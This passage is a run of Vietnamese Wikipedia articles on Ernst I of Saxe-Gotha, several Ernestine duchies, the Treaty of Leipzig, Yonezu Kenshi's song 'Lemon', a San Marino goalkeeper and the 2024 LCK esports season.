bụng: 3. Sinh thái Thức ăn của C. perustus là tảo. Trứng của chúng có chất kết dính, được gắn vào chất nền thông qua một tấm đế dính dạng sợi. Cá bột là dạng phiêu sinh vật, thường được tìm thấy ở vùng nước nông ven bờ. Tham khảo S Cá Ấn Độ Dương Cá Thái Bình Dương Cá Kenya Cá Mozambique Cá Seychelles Cá Mauritius Cá Réunion Cá Maldives Cá Thái Lan Cá Việt Nam Cá New Guinea Cá Philippines Cá Fiji Động vật được mô tả năm 1953
19853080
https://vi.wikipedia.org/wiki/Ernst%20I%2C%20C%C3%B4ng%20t%C6%B0%E1%BB%9Bc%20x%E1%BB%A9%20Sachsen-Gotha
Ernst I, Công tước xứ Sachsen-Gotha
Ernst I, Công tước xứ Sachsen-Gotha, có biệt danh là Ernst Ngoan đạo (25 tháng 12 năm 1601 – 26 tháng 3 năm 1675) là công tước của Sachsen-Gotha và Sachsen-Altenburg thuộc Các công quốc Ernestine, Đế chế La Mã Thần thánh. Các công quốc sau đó được sáp nhập lại để trở thành Sachsen-Gotha-Altenburg. Ông là con trai thứ 9 nhưng là con trai thứ 6 sống đến tuổi trưởng thành của Johann II, Công tước xứ Sachsen-Weimar và Dorothea Maria xứ Anhalt. Mẹ của ông là cháu gái của Christoph, Công tước xứ Württemberg, và chắt gái của Ulrich, Công tước xứ Württemberg. Ernst Ngoan đạo là tổ tiên của cả 7 công quốc dòng Ernestine và tất cả các nhà nước Ernestine trong Đế quốc Đức đều là hậu duệ của ông, những nhà nước này bị bãi bỏ sau khi Đế quốc Đức thất bại trong Thế chiến thứ nhất, năm 1918. Ông cũng là tổ tiên của tất cả các vị vua ở châu Âu có nguồn gốc từ dòng Ernestine như Vương quốc Anh (từ vua Edward VII đến Elizabeth), Vương quốc Bỉ (từ năm 1830 đến nay), Vương quốc Bulgaria (từ năm 1908 đến 1946), Vương quốc Bồ Đào Nha (từ năm 1837 đến 1910). Ernst được đánh giá là một nhà cai trị khôn ngoan và sùng đạo, ông đã biến lãnh thổ của mình thành một trung tâm giáo dục kiểu mẫu không chỉ thu hút các nhà nước trong Thánh chế La Mã, nó còn thu hút nhiều người ở khắp châu Âu tìm đến. Người ta nói rằng không có bất cứ thần dân nào của ông không biết đọc và viết, và họ cũng tin rằng, nông dân của Sachsen-Gotha được giáo dục tốt hơn người dân thành thị và quý tộc ở những nơi khác. Tiểu sử Mồ côi cha từ nhỏ (cha ông mất năm 1605 và mẹ ông mất năm 1617), ông được nuôi dưỡng trong một môi trường nghiêm khắc, có năng khiếu và phát triển sớm nhưng thể chất không khỏe mạnh. Ông đã sớm bộc lộ những đức tính tốt lành và đạo đức. Với tư cách là người cai trị, bằng tính cách và khả năng cai trị cũng như sự quan tâm của cá nhân đối với các vấn đề nhà nước, ông đã mang đến một thời kỳ hoàng kim cho thần dân của mình sau sự tàn phá của Chiến tranh Ba mươi năm. Bằng cách tiết kiệm khôn ngoan, không loại trừ sự hào phóng phù hợp hoặc phô trương vào những dịp thích hợp, ông đã giải phóng đất đai của mình khỏi nợ nần, để lại một số tiền đáng kể trong kho bạc khi qua đời. Bảo an và nền tư pháp liêm khiết và hiệu quả đã nhận được nhiều sự quan tâm của ông, và các quy định của ông được dùng làm hình mẫu cho các nhà nước khác. Ernst đã không có đủ thời gian để loại bỏ sự tra tấn, mặc dù đã hạn chế nó, và trong thế kỷ nổi lên của thuật phù thủy, ông đã chịu khuất phục trước các trò ảo thuật thông thường, mặc dù ông không có khuynh hướng mê tín và là kẻ thù của thuật giả kim. Ông cấm đấu tay đôi và áp dụng hình phạt tử hình cho kết quả chết người. Năm 1640, theo hiệp ước phân chia lãnh thổ với anh em mình, Ernst nhận được Gotha và tạo ra Công quốc Sachsen-Gotha. Luật của ông không được hình thành theo tinh thần của những ý tưởng hiện đại về quyền tự do cá nhân; họ cấm việc hứa hôn bí mật, cố gắng quản lý việc ăn mặc và thậm chí còn mở rộng đến cả chuồng ngựa, nhà bếp và tầng hầm. Tuy nhiên, các quy định của ông đã thúc đẩy nông nghiệp, thương mại, học tập và nghệ thuật. Cung điện Friedenstein của ông ở Gotha đã được xây dựng lại và các bộ sưu tập của nó có nguồn gốc từ dòng Ernestine; thư viện trở thành một trong những thư viện lớn nhất ở Đế chế La Mã Thần thánh. Các nhà thờ được xây dựng và theo Schulmethodus năm 1642, Ernst đã trở thành cha đẻ của trường ngữ pháp hiện nay. Người ta thường nói rằng nông dân của ông được giáo dục tốt hơn người dân thị trấn và quý tộc ở những nơi khác, và khi ông qua đời, người ta nói rằng không ai ở vùng đất của ông không thể đọc và viết. Ông đã biến nhà thi đấu ở Gotha trở thành một trường học kiểu mẫu thu hút học sinh không chỉ từ khắp các vùng đất của Thánh chế La Mã mà còn từ Thụy Điển, Nga, Ba Lan và Hungary. Theo cách tương tự, ông đã thúc đẩy Đại học Jena, tăng quỹ và điều chỉnh các hoạt động nghiên cứu của trường, tập trung quá nhiều vào khía cạnh tôn giáo. Lỗi tương tự cũng gắn liền với những nỗ lực của ông trong công việc nhà thờ, khiến ông có biệt danh là "Ernest cầu nguyện"; nhưng người ta tìm thấy lời bào chữa trong sự mất tinh thần đáng sợ do chiến tranh gây ra. Kinh thánh là cuốn sách hàng ngày của riêng ông và ông không ngừng nỗ lực để khiến người dân của mình theo đạo theo khuôn mẫu nghiêm ngặt của Luther. Việc hướng dẫn tôn giáo, bao gồm các bài tập giáo lý không có lịch sử Kinh thánh, được duy trì cho đến những năm sau và không phải tự nhiên mà sự ép buộc cứng nhắc trong một số trường hợp đã làm mất đi mục đích của nó. Hệ thống của Ernst đã tự duy trì một cách đáng ngạc nhiên; nó vẫn tồn tại hợp pháp mặc dù có phần sửa đổi hoặc bị bỏ qua. Những nỗ lực của ông cho đạo Tin Lành không chỉ giới hạn ở vùng đất của ông. Ông đã cầu xin hoàng đế ủng hộ những người đồng đạo người Áo của mình. Ông trở thành ân nhân của Nhà thờ Tin Lành Lutheran của người Đức ở Moscow và có quan hệ thân thiện với sa hoàng. Ông thậm chí còn cử một đại sứ quán đến giới thiệu chủ nghĩa Luther vào Abyssinia, nhưng điều này không đạt được mục đích. Sự cai trị của ông đối với gia đình là một hình ảnh thu nhỏ của chính quyền đất đai của ông; kỷ luật nghiêm khắc nhất đã được áp dụng tại triều đình. Cuộc sống của nó rất đơn giản, được điều chỉnh mọi mặt bởi các hoạt động tôn giáo. Không có chi tiết nào bị bỏ qua có thể thúc đẩy sự phát triển về tinh thần và thể chất của những đứa con của ông, đồng thời việc giáo dục tôn giáo của chúng bị đẩy đi quá mức. Tuy nhiên, các con của ông đều thành công và Ernst chết với danh nghĩa "người cha và vị cứu tinh của dân tộc mình". Oliver Cromwell coi ông là một trong những Thân vương cai trị khôn ngoan nhất; ở ông thể hiện "ý tưởng về một Hoàng thân gia trưởng theo đạo Tin Lành." Hôn nhân và con cái Tại Altenburg vào ngày 24 tháng 10 năm 1636, Ernst kết hôn với em họ của mình là Elisabeth Sophie xứ Sachsen-Altenburg. Kết quả của cuộc hôn nhân này là Sachsen-Gotha và Sachsen-Altenburg được thống nhất lại khi vị công tước cuối cùng của dòng dõi (anh họ của Elisabeth) qua đời không con vào năm 1672. Ernst và Elisabeth Sophie có 18 người con: Johann Ernst (s. Weimar, 18 tháng 9 năm 1638 – d. Weimar, 27 tháng 11 năm 1638). Elisabeth Dorothea (sinh Coburg, 8 tháng 1 năm 1640 – mất Butzbach, 24 tháng 8 năm 1709), kết hôn vào ngày 5 tháng 12 năm 1666 với Ludwig VI, Bá tước xứ Hessen-Darmstadt. Johann Ernst (sinh Gotha, 16 tháng 5 năm 1641 – mất vì bệnh đậu mùa, Gotha, 31 tháng 12 năm 1657). Christian (s. và d. Gotha, ngày 23 tháng 2 năm 1642). Sophie (s. Gotha, 21 tháng 2 năm 1643 – mất vì bệnh đậu mùa, Gotha, 14 tháng 12 năm 1657). Johanna (s. Gotha, 14 tháng 2 năm 1645 – d. [do bệnh đậu mùa?] Gotha, 7 tháng 12 năm 1657). Friedrich I, Công tước xứ Sachsen-Gotha-Altenburg (s. Gotha, 15 tháng 7 năm 1646 – d. Friedrichswerth, 2 tháng 8 năm 1691). Albrecht V, Công tước xứ Sachsen-Coburg (s. Gotha, 24 tháng 5 năm 1648 – d. Coburg, 6 tháng 8 năm 1699). Bernhard I, Công tước xứ Sachsen-Meiningen (s. Gotha, 10 tháng 9 năm 1649 – d. Meiningen, 27 tháng 4 năm 1706). Heinrich, Công tước xứ Sachsen-Römhild (s. Gotha, 19 tháng 11 năm 1650 – d. Römhild, 13 tháng 5 năm 1710). Christian, Công tước xứ Sachsen-Eisenberg (sinh Gotha, 6 tháng 1 năm 1653 – mất Eisenberg, 28 tháng 4 năm 1707). Dorothea Maria (s. Gotha, 12 tháng 2 năm 1654 – d. Gotha, 17 tháng 6 năm 1682). Ernst, Công tước xứ Sachsen-Hildburghausen (s. Gotha, 12 tháng 6 năm 1655 – d. Hildburghausen, 17 tháng 10 năm 1715). Johann Philipp (s. Gotha, 1 tháng 3 năm 1657 – d. Gotha, 19 tháng 5 năm 1657). Johann Ernst IV, Công tước xứ Sachsen-Coburg-Saalfeld (s. Gotha, 22 tháng 8 năm 1658 – d. Saalfeld, 17 tháng 2 năm 1729). Johanna Elisabeth (s. Gotha, 2 tháng 9 năm 1660 – d. Gotha, 18 tháng 12 năm 1660). Johann Philipp (s. Gotha, 16 tháng 11 năm 1661 – d. Gotha, 13 tháng 3 năm 1662). Sophie Elisabeth (s. Gotha, 19 tháng 5 năm 1663 – d. Gotha, 23 tháng 5 năm 1663). Con trai cả của họ, Công tử Friedrich là người đầu tiên kế thừa danh hiệu này. Cháu gái của ông từ người con trai này, Anna Sophie xứ Sachsen-Gotha-Altenburg, là tổ tiên mẫu hệ trực tiếp của Sa hoàng Nicholas II của Nga. Con trai nhỏ của ông, Công tử Johann Ernst, là cha của Franz Josias, Công tước xứ Sachsen-Coburg-Saalfeld. Di sản Ông được miêu tả tích cực như một nhân vật trong bộ truyện hư cấu năm 1632 series, còn được gọi là bộ truyện 1632 hoặc Ring of Fire, một bộ sách lịch sử thay thế, được tạo ra, chủ yếu do nhà sử học Eric Flint đồng sáng tác và điều phối. Các công quốc Ernestine. Kinh thánh của Ernestine, được gọi là Kurfürstenbibel, do Công tước Ernst Ngoan đạo uỷ quyền để in, các tên gọi khác của nó là Kinh thánh Weimar Tổ tiên Tham khảo Article in the ADB Sinh năm 1601 Mất năm 1675 Công tước xứ Sachsen-Gotha Công tước xứ Sachsen-Altenburg Vương tộc Wettin
19853084
https://vi.wikipedia.org/wiki/Sachsen-Eisenberg
Sachsen-Eisenberg
Công quốc Sachsen-Eisenberg (tiếng Đức: Herzogtum Sachsen-Eisenberg) là một nhà nước thuộc Đế chế La Mã Thần thánh được cai trị bởi dòng Ernestine, nhánh trưởng của Nhà Wettin. Sau cái chết của Công tước Ernst Ngoan đạo, lãnh thổ của ông được chia ra cho 7 người con trai, trong đó, người con trai thứ 5 là Công tử Christian được chia cho vùng Eisenberg, để lập ra Công quốc Sachsen-Eisenberg. Công quốc chỉ tồn tại đến năm 1707, vị công tước duy nhất của nó qua đời mà không có người thừa tự nam nên lãnh thổ và tài sản đã được thừa kế bởi Công tước xứ Sachsen-Hildburghausen. Các công tước xứ Sachsen-Eisenberg Christian (1680–1707) Nguồn Trích dẫn Sách Các công quốc Ernestine Công tước xứ Sachsen-Eisenberg Cựu quốc gia quân chủ châu Âu Công quốc Thánh chế La Mã
19853085
https://vi.wikipedia.org/wiki/Sachsen-Marksuhl
Sachsen-Marksuhl
Công quốc xứ Sachsen-Marksuhl (tiếng Đức: Herzogtum Sachsen-Marksuhl) là một nhà nước thuộc Đế chế La Mã Thần thánh được cai trị bởi dòng Ernestine, nhánh thưởng của Nhà Wettin. Nó được lập ra vào năm 1662 sau khi thoả thuận phân vùng được ký kết giữa Công tước Adolf Wilhelm và em trai ông là Công tử Johann Georg, theo đó, ông này được chia cho Marksuhl và lập ra Công quốc Sachsen-Marksuhl. Năm 1671, cháu trai của Johann Georg là Wilhelm August, Công tước xứ Sachsen-Eisenach qua đời mà không để lại người thừa tự, nên ông đã được thừa kế Sachsen-Eisenach, từ đó, Sachsen-Marksuhl hợp nhất lại với Sachsen-Eisenach. Tham khảo Các công quốc Ernestine Công quốc Thánh chế La Mã Cựu quốc gia quân chủ châu Âu Công tước xứ Sachsen-Marksuhl
19853087
https://vi.wikipedia.org/wiki/Lemon%20%28b%C3%A0i%20h%C3%A1t%20c%E1%BB%A7a%20Yonezu%20Kenshi%29
Lemon (bài hát của Yonezu Kenshi)
"Lemon" là một bài hát do ca sĩ kiêm nhạc sĩ sáng tác người Nhật Yonezu Kenshi thực hiện, được hãng Sony Music Entertainment Japan phát hành dưới dạng đĩa đơn vào ngày 14 tháng 3 năm 2018. Bên cạnh đó, đây cũng chính là ca khúc chủ đề của bộ phim truyền hình đình đám Unnatural lên sóng cùng năm. Kể từ khi ra mắt, tác phẩm đã gặt hái thành công lớn về mặt thương mại khi bán ra 500.000 ấn bản băng đĩa cũng như 3.000.000 ấn bản trực tuyến tại thị trường quê nhà, đồng thời còn trở thành bài hát tiếng Nhật có nhiều lượt xem nhất trên YouTube. Hoàn cảnh sáng tác Yonezu Kenshi đã chấp nhận tham gia một số cuộc phỏng vấn liên quan đến "Lemon" để nói về bối cảnh sáng tác cũng như những vấn đề khác xoay quanh tác phẩm. Trong thời gian đầu thực hiện bài hát, nam nhạc sĩ đã tạm đặt cho nó cái tên "Memento." Anh chia sẻ rằng, "Tôi nghĩ là nó đến từ một nơi nào đó sâu thẳm trong ký ức bản thân, nhưng lại chẳng thể nào giải thích tỏ tường được." Ngay cả khi chỉ còn một ngày nữa thôi là đã tiến hành thu âm, Kenshi vẫn đang cặm cụi viết nốt phần lời còn lại cho tác phẩm. Đột nhiên, hai câu cuối "Tựa như hai nửa của quả chanh bị cắt vậy, kể cả bây giờ, em vẫn là ánh sáng của anh" chợt nảy ra trong đầu vị nhạc sĩ. Anh bèn thốt lên rằng "À, vậy ra bài hát này chính là "Lemon."" Hơn nữa, Kenshi cũng đích thân đảm nhận công đoạn vẽ bìa minh họa cho ca khúc. Anh tập trung vào vẻ sống động và sự tươi tắn của quả chanh, từ đó tạo nên cho nó một hình ảnh hoàn toàn không giống với những gì thường hay gắn liền với cái chết. Ban đầu Kenshi dự định sẽ thực hiện một bản ballad, thế nhưng đối với anh thì một bản ballad đơn giản thì không thú vị cho lắm, đồng thời anh cũng không muốn đứa con tinh thần của mình hoàn toàn chìm trong u buồn. Rốt cuộc, nam nhạc sĩ đã tạo ra một nhạc phẩm hòa quyện nhiều thể loại lại với nhau, với ca từ đau nhói tận tâm can trên nền nhạc sôi động và khiến người nghe như thể muốn bật dậy để nhảy múa. Yonezu Kenshi sáng tác bài hát này trong chuyến lưu diễn toàn quốc, đây cũng là thời điểm mà người ông của anh qua đời. Vị nhạc sĩ đã trăn trở rất nhiều về điều đó nên quá trình sáng tác ca khúc kéo dài hơn hẳn so với bình thường. Sáng tác "Lemon" là một bài hát được sáng tác theo cấu trúc tiến trình hợp âm lặp lại C–Am–F–G7, nhưng ở đoạn giữa thì lại đi theo Am–F–G–C–F–C–G–C trong đó hợp âm Fm được chuyển đổi thành tông Am. Điều đặc biệt này được xem là nguyên nhân khiến cho bản ca của Kenshi trở nên phổ biến theo đường dài. Ca từ được đánh giá là gợi đến cảm xúc khao khát, nhung nhớ và lưu luyến ngay từ hai câu đầu tiên, "Thật tốt biết bao nếu như tất cả chỉ là một giấc mơ / Đến tận lúc này, anh vẫn mơ ước về em". Đánh giá chuyên môn Cả tạp chí âm nhạc Billboard Japan lẫn nhà phê bình Suzuki Suzie khi phân tích sáng tác đã bày tỏ khen ngợi "Lemon" và cho biết, nguyên nhân bài hát vẫn còn giữ nhiệt quá lâu không chỉ là do sức hút của giọng hát đặc biệt mà còn là do giai điệu trầm lắng vẩn vơ "sở hữu sức mạnh trường tồn theo thời gian" cùng với chủ đề tang thương người thân khiến cho người khác chịu đồng cảm phải nghe đi nghe lại. Một cây bút bên trang Jrock News đã dùng đến từ khóa "Sausade" đến từ văn hóa dân gian Bồ Đào Nha để diễn tả tâm trạng của ca khúc, tức có nghĩa rằng "cảm giác khao khát một thứ gì đó hoặc một ai đó mà bạn yêu quý nhưng có thể sẽ chẳng bao giờ trở lại." Video âm nhạc Video âm nhạc của "Lemon" đã được phát hành trên nền tảng YouTube vào ngày 27 tháng 2 năm 2018. Khung hình của video được đặt theo tỷ lệ hình vuông và bối cảnh đặt tại một nhà thờ tang lễ. Cảnh đầu tiên một nhóm người ủ rũ ngồi quanh những chiếc ghế trong một hội trường thiếu ánh sáng. Bối cảnh được cho là lấy từ tổ chức Alcoholics Anonymous khi mà mọi người cùng nhau bày tỏ nỗi niềm của mình và tìm kiếm sự giúp đỡ, làm bật lên chủ đề của bài hát là về cuộc đời nặng trĩu của một người. Video âm nhạc của "Lemon" đa phần tập trung vào các tiểu tiết như tiếng gót chân cũng như ánh sáng nhẹ nhàng của các nhân vật trong video nhằm tô đậm sự tĩnh lặng của căn phòng và con người bên trong đó. Giữa các cảnh quay là một vũ công đung đưa trong cô đơn, Kenshi thì ngồi trên một chiếc ghế dài và mang đôi giày cao gót cùng màu. Jrock News cho biết, cảm giác nghiêm túc của video này phá vỡ mọi sự hài hước vốn dĩ gắn liền với hình ảnh lạ thường. Video đã thu về hơn 800 triệu lượt xem và trở thành ca khúc Nhật Bản thành công nhất trên nền tảng này tính đến năm 2024. Biểu diễn trực tiếp và hát lại Ngày 31 tháng 12 năm 2018, Yonezu đã có buổi biểu diễn đầu tiên trên truyền hình tại sự kiện NHK Kōhaku Uta Gassen lần thứ 69 với bài hát "Lemon" trên tư cách là thành viên của đội trắng. Đáp lại lời mời biểu diễn của NHK, Yonezu nói: "Tôi coi việc cất bài ca ở quê hương tôi – nơi ông tôi sống, mang ý nghĩa rất lớn", anh đồng ý biểu diễn vì anh cảm thấy biểu diễn ở quê nhà nhân ngày giỗ một năm ông nội, đồng thời để tưởng nhớ ông nội thật ý nghĩa. Là người thứ 24 trong nửa sau của chương trình và là người thứ 20 của đội trắng, Yonezu đã biểu diễn trực tiếp tại Sistine Hall thuộc Bảo tàng nghệ thuật Ōtsuka (thành phố Naruto) ở quê hương tỉnh Tokushima, thay vì địa điểm chính là NHK Hall. Yonezu hát toàn bộ phần điệp khúc của "Lemon" trong một không gian với vô số ngọn nến ảo ảnh được thắp tại Sistine Hall, và vũ công Sugawara Koharu đã biểu diễn một điệu nhảy do Tsujimoto Tomohiko biên đạo trong buổi diễn. Yonezu không thường xuyên có mặt trên truyền thông và sóng truyền hình so với các nghệ sĩ biểu diễn khác, đồng thời anh chưa từng xuất hiện trực tiếp trong một chương trình truyền hình nào trước đây. Sau màn trình diễn, Yonezu nói: "Tôi xin bày tỏ lòng biết ơn tới tất cả những người đã chuẩn bị cho dịp này. Cảm ơn các bạn rất nhiều." và nhận về những phản hồi tích cực. Tháng 2 năm 2018, Kobasolo và Harutya phát hành video hát lại "Lemon". Trong đó Kobasolo đảm nhận khâu sáng tác được cho là tương đồng với bản gốc, còn Harutya thì biểu diễn bằng nhạc cụ guitar acoustic. Danh sách bài hát Đội ngũ Danh sách thành viên trong đội ngũ được dựa trên phần ghi chú của tác phẩm. Yonezu Kenshi - nhà sản xuất, sắp xếp đội ngũ, vocal, guitar Muroya Koichiro - đảm nhiệm phần nhạc khí có dây Suto Yu - bass Huri Masaki - tay trống Izawa Ichiyo - piano Mochizuki Tatsuya - kỹ thuật guitar Imamura Koji - kỹ thuật trống Miyake Akira - chỉ đạo dàn trống Komori Masahito - thu âm, hòa âm Ted Jensen - hoàn chỉnh âm thanh Xếp hạng Xếp hạng tuần Xếp hạng cuối năm Xếp hạng toàn thời gian Chứng nhận Thành tựu Tham khảo Bài hát tiếng Nhật Đĩa đơn quán quân Japan Hot 100 Bài hát năm 2018 Đĩa đơn năm 2018 Nguồn CS1 tiếng Nhật (ja)
19853091
https://vi.wikipedia.org/wiki/Sachsen-Eisenach
Sachsen-Eisenach
Công quốc Sachsen-Eisenach (tiếng Đức: Herzogtum Sachsen-Eisenach) là một nhà nước của Đế chế La Mã Thần thánh và sau là thành viên trong Liên bang Rhein, được cai trị bởi dòng Ernestine, nhánh trưởng của Nhà Wettin. Công quốc này tồn tại không liên tục, chia ra làm 3 lần lập và tái lập khác nhau: lần 1 từ năm 1596 đến 1638, lần 2 từ năm 1640 đến 1644 và lần 3 từ 1662 đến năm 1809. Sachsen-Eisenach được tách ra từ Công quốc Sachsen-Coburg-Eisenach vào năm 1596. Năm 1741, sau cái chết của Công tước Wilhelm Heinrich không để lại người thừa tự, công quốc được cai trị dưới hình thức liên minh cá nhân với Sachsen-Weimar bởi Công tước Ernst August I của chi nhánh Sachsen-Weimar. Đến năm 1809, Sachsen-Eisenach hợp nhất với Sachsen-Weimar để trở thành Sachsen-Weimar-Eisenach dưới thời Công tước Karl August, chấm dứt 68 năm được cai trị dưới hình thức liên minh cá nhân. Tham khảo Much of the content of this article comes from Sachsen-Eisenach on the German Wikipedia and Ducado de Sajonia-Eisenach on the Spanish Wikipedia, both retrieved November 10, 2005. Liên kết ngoài German genealogies Các công quốc Ernestine Vương tộc Wettin Công quốc Thánh chế La Mã Cựu quốc gia quân chủ châu Âu Công tước xứ Sachsen-Eisenach Nhà nước của Liên bang Rhein
19853092
https://vi.wikipedia.org/wiki/Edoardo%20Colombo
Edoardo Colombo
Edoardo Colombo (sinh ngày 24 tháng 1 năm 2001) là một cầu thủ bóng đá chuyên nghiệp người San Marino hiện tại đang thi đấu ở vị trí thủ môn cho câu lạc bộ Rimini tại Serie C bảng B. Sự nghiệp thi đấu Juventus Sinh ra ở Ravenna, Colombo bắt đầu sự nghiệp của mình tại học viện trẻ của câu lạc bộ Cesena. Vào năm 2017, Colombo chuyển đến Juventus và gia nhập đội trẻ của họ. Vào năm 2018 và 2019, Colombo được cho mượn tại Carpi và Torres 1903. Trong thời gian thi đấu cho Torres 1903, Colombo đã ra sân 25 trận. Cho mượn tại Legnago Salus Vào ngày 18 tháng 8 năm 2020, Colombo gia nhập Legnago Salus theo dạng cho mượn. Vào ngày 26 tháng 9 năm 2020, anh có trận ra mắt chuyên nghiệp cho câu lạc bộ trong trận hòa 2–2 trước Vis Pesaro. Fermana Vào ngày 13 tháng 1 năm 2021, anh chuyển đến câu lạc bộ Fermana theo một bản hợp đồng lâu dài. Là sự lựa chọn thứ 2 trong khung gỗ sau Samuele Massolo, Colombo chơi trận đầu tiên và duy nhất cho Fermana vào ngày 2 tháng 5 năm 2021, đá chính trong trận gặp Legnago Salus, kết thúc với chiến thắng 3-1 cho Fermana. Arezzo Vào ngày 30 tháng 7 năm 2021, Colombo gia nhập Arezzo, đội vừa xuống chơi tại Serie D. Sau đó, anh chơi trận đầu tiên cho đội bóng vào ngày 12 tháng 9, đá chính trong trận đấu với Foligno ở vòng sơ loại Coppa Italia Serie D. Ngay trước khi hiệp 1 kết thúc, Colombo đã cản phá một quả phạt đền từ tiền đạo Maurizio Peluso bên phía đối diện, người sau đó ghi bàn thắng bàn thắng duy nhất của trận đấu. Rimini Vào ngày 19 tháng 7 năm 2023, Colombo ký hợp đồng một năm với câu lạc bộ Rimini. Sự nghiệp quốc tế Sinh ra ở Ý, Colombo từng đại diện cho San Marino trên đấu trường quốc tế. Vào ngày 17 tháng 11 năm 2018, anh có trận ra mắt cho U-19 San Marino, trong trận gặp Scotland. Anh đá chính nhưng không thể ngăn cản đội bóng nhận thất bại đậm đà 5–0. Vào tháng 8 năm 2021, Colombo lần đầu tiên được gọi lên Đội tuyển bóng đá U-21 quốc gia San Marino, và ra mắt vào ngày 3 tháng 9, đá chính trong trận thua 6-0 trên sân nhà trước Đức. Thống kê sự nghiệp Câu lạc bộ Tham khảo Sinh năm 2001 Nhân vật còn sống Cầu thủ bóng đá Ý Cầu thủ bóng đá San Marino Cầu thủ bóng đá San Marino ở nước ngoài Cầu thủ bóng đá nước ngoài ở Ý Thủ môn bóng đá nam Cầu thủ bóng đá Juventus Cầu thủ bóng đá S.E.F. Torres 1903 Cầu thủ bóng đá F.C. Legnago Salus Cầu thủ bóng đá Fermana F.C. Cầu thủ bóng đá S.S. Arezzo Cầu thủ bóng đá Cavese 1919 Cầu thủ bóng đá Rimini F.C. 1912 Cầu thủ bóng đá Serie C Cầu thủ bóng đá Serie D Cầu thủ đội tuyển bóng đá trẻ quốc gia San Marino Cầu thủ đội tuyển bóng đá U-21 quốc gia San Marino
19853095
https://vi.wikipedia.org/wiki/LCK%20m%C3%B9a%20gi%E1%BA%A3i%202024
LCK mùa giải 2024
LCK mùa giải 2024 là mùa giải thứ 13 của League of Legends Champions Korea (LCK), giải đấu thể thao điện tử chuyên nghiệp của Hàn Quốc dành cho bộ môn Liên Minh Huyền Thoại. Mùa giải được chia làm 2 giai đoạn: Mùa Xuân và Mùa Hè. Giải Mùa Xuân sẽ bắt đầu vào ngày 17 tháng 1 và kết thúc với trận chung kết tổng vào ngày 14 tháng 4 năm 2024. Những thay đổi Các đội Liiv Sandbox đã đổi tên đội thể thao điện tử của mình thành FearX để bước vào mùa giải 2024. Giới hạn lương Để đối phó với những thách thức tài chính mà các tổ chức LCK phải đối mặt, chẳng hạn như giám đốc điều hành của Gen.G, Arnold Hur tiết lộ rằng đội của anh "chưa bao giờ thu được lợi nhuận" mặc dù dẫn đầu về doanh thu tài trợ, LCK đã thực hiện giới hạn lương cho đội hình xuất phát và hệ thống thuế cho mùa giải 2024. Giới hạn lương sẽ được tính dựa trên tổng lương trả cho đội hình xuất phát, không bao gồm tuyển thủ dự bị. Nó bao gồm mức tối thiểu, được đặt ở mức 70% doanh thu mà đội kiếm được vào năm 2022. Các đội vượt quá giới hạn tối đa sẽ phải chịu thuế, khoản thuế này sẽ được phân bổ lại cho các đội vẫn ở trong giới hạn. Tuy nhiên, để đủ điều kiện được chia sẻ thuế, các đội phải đạt mức tối thiểu của giới hạn lương. Không có giới hạn cá nhân về lương của một tuyển thủ, chỉ dành cho toàn đội (có những trường hợp ngoại lệ) và tiền thưởng dựa trên thành tích của tuyển thủ. Giải Mùa Xuân Vòng bảng giải Mùa Xuân sẽ diễn ra từ ngày 17 tháng 1 đến ngày 24 tháng 3 năm 2024. 10 đội sẽ chơi tổng cộng 90 trận và tất cả các trận đấu vòng bảng sẽ được thi đấu theo thể thức Bo3. Sáu đội dẫn đầu Vòng bảng sẽ tiến vào vòng loại trực tiếp, diễn ra từ ngày 30 tháng 3 đến ngày 14 tháng 4 năm 2024. Hai đội đứng đầu vòng loại trực tiếp Giải Mùa Xuân đủ điều kiện tham dự Mid-Season Invitational 2024. Vòng bảng Vòng loại trực tiếp Tham khảo Liên Minh Huyền Thoại năm 2024
19853102
https://vi.wikipedia.org/wiki/Hi%E1%BB%87p%20%C6%B0%E1%BB%9Bc%20Leipzig
Hiệp ước Leipzig
Hiệp ước Leipzig hoặc Phân chia Leipzig (tiếng Đức: Leipziger Teilung) được ký vào ngày 11 tháng 11 năm 1485 giữa Tuyển đế hầu Ernst xứ Sachsen và em trai ông ta là Albrecht III, họ là con trai của Friedrich II, Tuyển hầu xứ Sachsen của Nhà Wettin. Thỏa thuận này phân chia các lãnh thổ của triều đại Wettin thành 2 phần, nó được cai trị bởi 2 phân nhánh: dòng trưởng Ernestine giữ ghế tuyển đế hầu xứ Sachsen với quyền bầu ra Hoàng đế La Mã Thần thánh và dòng thứ Albertine nhận Bá quốc Meissen và các quận lân cận. Lịch sử Năm 1423, ông nội của Ernst và Albrecht, Bá tước Friedrich IV xứ Meissen đã nhận được nâng lên thành Tuyển hầu xứ Sachsen bởi Hoàng đế Sigismund của Thánh chế La Mã. Quyền tuyển đế hầu — trước đây là của Công tước xứ Sachsen-Wittenberg — cùng với Bá tước xứ Meissen hợp nhất cùng với Bá quốc Thuringia đã hình thành nên các vùng đất của Triều đại Wettin thống nhất. Sau cái chết của Friedrich vào năm 1464, các lãnh thổ của ông đều do hai con trai của ông cùng cai trị cho đến năm 1485, khi chúng được phân chia giữa họ. Trong cuộc phân chia năm 1485, Ernst, với tư cách là Tuyển đế hầu cha truyền con nối của Sachsen, nhất thiết phải nhận được các vùng đất tuyển hầu xung quanh Wittenberg. Phần còn lại được phân chia trên cơ sở "Tôi sẽ phân tách, bạn chọn", Ernst chia các vùng đất thành hai phần, và Albrecht chọn một phần cho mình. Albrecht chọn lãnh thổ phía Đông của Bá quốc Meissen trước đây, trong khi Ernst chiếm được hầu hết các vùng Thuringia ở phía Tây. Ernst được cho là rất thất vọng trước kết quả này, vì ông đã hy vọng cai trị các vùng đất xung quanh Meissen, nơi được cai trị bởi Nhà Wettin từ thế kỷ XII, thay vì các vùng đất mới giành được ở miền Nam Thuringia. Tuyển đế hầu Ernst đã chọn Wittenberg làm kinh đô của Tuyển hầu xứ Sachsen và tự xưng là Bá tước xứ Thuringia. Công tước Albrech III đã chọn Meissen làm trung tâm của công quốc Albertine Sachsen và tự coi mình là Bá tước xứ Meissen. Trong quá trình Cải cách Tin lành, các nhánh Ernestine và Albertine của triều đại Wettin thấy mình ở hai phe đối lập trong Chiến tranh Schmalkaldic 1546/1547. Là đồng minh của phe chiến thắng, Karl V của Thánh chế La Mã, nên Công tước dòng Albertine Moritz xứ Sachsen đã giành được lãnh thổ Wittenberg và ngai vàng tuyển đế hầu, sau khi người anh họ dòng Ernestine là [[Johann Friedrich I, Tuyển hầu xứ Sachsen bị đánh bại và phải ký Bản đầu hàng Wittenberg. Từ sự kiện đó, dòng dõi Albertine ở vùng Meissen trước đây đã cai trị Tuyển hầu xứ Sachsen và sau này là Vương quốc Sachsen. Hậu duệ của Johann Friedrich I chỉ 